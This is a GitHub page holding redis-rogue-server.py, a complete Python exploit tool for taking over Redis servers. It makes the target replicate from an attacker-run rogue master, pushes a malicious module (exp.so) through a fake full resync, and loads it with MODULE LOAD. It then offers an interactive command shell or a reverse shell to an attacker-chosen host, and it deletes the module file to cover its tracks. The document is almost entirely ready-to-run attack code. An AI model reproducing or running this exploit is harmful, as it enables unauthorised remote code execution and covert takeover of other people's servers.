Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
redis-rogue-server/redis-rogue-server.py
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
executable file
227 lines (198 sloc)
7.07 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import socket | |
import sys | |
from time import sleep | |
from optparse import OptionParser | |
CLRF = "\r\n" | |
SERVER_EXP_MOD_FILE = "exp.so" | |
BANNER = """______ _ _ ______ _____ | |
| ___ \ | (_) | ___ \ / ___| | |
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __ | |
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__| | |
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ | | |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_| | |
__/ | | |
|___/ | |
@copyright n0b0dy @ r3kapig | |
""" | |
def encode_cmd_arr(arr): | |
cmd = "" | |
cmd += "*" + str(len(arr)) | |
for arg in arr: | |
cmd += CLRF + "$" + str(len(arg)) | |
cmd += CLRF + arg | |
cmd += "\r\n" | |
return cmd | |
def encode_cmd(raw_cmd): | |
return encode_cmd_arr(raw_cmd.split(" ")) | |
def decode_cmd(cmd): | |
if cmd.startswith("*"): | |
raw_arr = cmd.strip().split("\r\n") | |
return raw_arr[2::2] | |
if cmd.startswith("$"): | |
return cmd.split("\r\n", 2)[1] | |
return cmd.strip().split(" ") | |
def info(msg): | |
print(f"\033[1;32;40m[info]\033[0m {msg}") | |
def error(msg): | |
print(f"\033[1;31;40m[err ]\033[0m {msg}") | |
def din(sock, cnt=4096): | |
global verbose | |
msg = sock.recv(cnt) | |
if verbose: | |
if len(msg) < 1000: | |
print(f"\033[1;34;40m[->]\033[0m {msg}") | |
else: | |
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}") | |
return msg.decode('gb18030') | |
def dout(sock, msg): | |
global verbose | |
if type(msg) != bytes: | |
msg = msg.encode() | |
sock.send(msg) | |
if verbose: | |
if len(msg) < 1000: | |
print(f"\033[1;33;40m[<-]\033[0m {msg}") | |
else: | |
print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") | |
def decode_shell_result(s): | |
return "\n".join(s.split("\r\n")[1:-1]) | |
class Remote: | |
def __init__(self, rhost, rport): | |
self._host = rhost | |
self._port = rport | |
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self._sock.connect((self._host, self._port)) | |
def send(self, msg): | |
dout(self._sock, msg) | |
def recv(self, cnt=65535): | |
return din(self._sock, cnt) | |
def do(self, cmd): | |
self.send(encode_cmd(cmd)) | |
buf = self.recv() | |
return buf | |
def shell_cmd(self, cmd): | |
self.send(encode_cmd_arr(['system.exec', f"{cmd}"])) | |
buf = self.recv() | |
return buf | |
class RogueServer: | |
def __init__(self, lhost, lport): | |
self._host = lhost | |
self._port = lport | |
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self._sock.bind(('0.0.0.0', self._port)) | |
self._sock.listen(10) | |
def close(self): | |
self._sock.close() | |
def handle(self, data): | |
cmd_arr = decode_cmd(data) | |
resp = "" | |
phase = 0 | |
if cmd_arr[0].startswith("PING"): | |
resp = "+PONG" + CLRF | |
phase = 1 | |
elif cmd_arr[0].startswith("REPLCONF"): | |
resp = "+OK" + CLRF | |
phase = 2 | |
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): | |
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF | |
resp += "$" + str(len(payload)) + CLRF | |
resp = resp.encode() | |
resp += payload + CLRF.encode() | |
phase = 3 | |
return resp, phase | |
def exp(self): | |
cli, addr = self._sock.accept() | |
while True: | |
data = din(cli, 1024) | |
if len(data) == 0: | |
break | |
resp, phase = self.handle(data) | |
dout(cli, resp) | |
if phase == 3: | |
break | |
def interact(remote): | |
info("Interact mode start, enter \"exit\" to quit.") | |
try: | |
while True: | |
cmd = input("\033[1;32;40m[<<]\033[0m ").strip() | |
if cmd == "exit": | |
return | |
r = remote.shell_cmd(cmd) | |
for l in decode_shell_result(r).split("\n"): | |
if l: | |
print("\033[1;34;40m[>>]\033[0m " + l) | |
except KeyboardInterrupt: | |
pass | |
def reverse(remote): | |
info("Open reverse shell...") | |
addr = input("Reverse server address: ") | |
port = input("Reverse server port: ") | |
dout(remote, encode_cmd(f"system.rev {addr} {port}")) | |
info("Reverse shell payload sent.") | |
info(f"Check at {addr}:{port}") | |
def cleanup(remote): | |
info("Unload module...") | |
remote.do("MODULE UNLOAD system") | |
def runserver(rhost, rport, lhost, lport, passwd): | |
# expolit | |
remote = Remote(rhost, rport) | |
info("Setting master...") | |
# auth | |
if passwd: | |
info("Authenticating...") | |
remote.do(f"AUTH {passwd}") | |
remote.do(f"SLAVEOF {lhost} {lport}") | |
info("Setting dbfilename...") | |
remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}") | |
sleep(2) | |
rogue = RogueServer(lhost, lport) | |
rogue.exp() | |
sleep(2) | |
info("Loading module...") | |
remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}") | |
info("Temerory cleaning up...") | |
remote.do("SLAVEOF NO ONE") | |
remote.do("CONFIG SET dbfilename dump.rdb") | |
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}") | |
rogue.close() | |
# Operations here | |
choice = input("What do u want, [i]nteractive shell or [r]everse shell: ") | |
if choice.startswith("i"): | |
interact(remote) | |
elif choice.startswith("r"): | |
reverse(remote) | |
cleanup(remote) | |
if __name__ == '__main__': | |
print(BANNER) | |
parser = OptionParser() | |
parser.add_option("--rhost", dest="rh", type="string", | |
help="target host", metavar="REMOTE_HOST") | |
parser.add_option("--rport", dest="rp", type="int", | |
help="target redis port, default 6379", default=6379, | |
metavar="REMOTE_PORT") | |
parser.add_option("--lhost", dest="lh", type="string", | |
help="rogue server ip", metavar="LOCAL_HOST") | |
parser.add_option("--lport", dest="lp", type="int", | |
help="rogue server listen port, default 21000", default=21000, | |
metavar="LOCAL_PORT") | |
parser.add_option("--exp", dest="exp", type="string", | |
help="Redis Module to load, default exp.so", default="exp.so", | |
metavar="EXP_FILE") | |
parser.add_option("-v", "--verbose", action="store_true", default=False, | |
help="Show full data stream") | |
parser.add_option("--passwd", dest="rpasswd", type="string", | |
help="target redis password") | |
(options, args) = parser.parse_args() | |
global verbose, payload, exp_mod | |
verbose = options.verbose | |
exp_mod = options.exp | |
payload = open(exp_mod, "rb").read() | |
if not options.rh or not options.lh: | |
parser.error("Invalid arguments") | |
info(f"TARGET {options.rh}:{options.rp}") | |
info(f"SERVER {options.lh}:{options.lp}") | |
try: | |
runserver(options.rh, options.rp, options.lh, options.lp, options.rpasswd) | |
except Exception as e: | |
error(repr(e)) |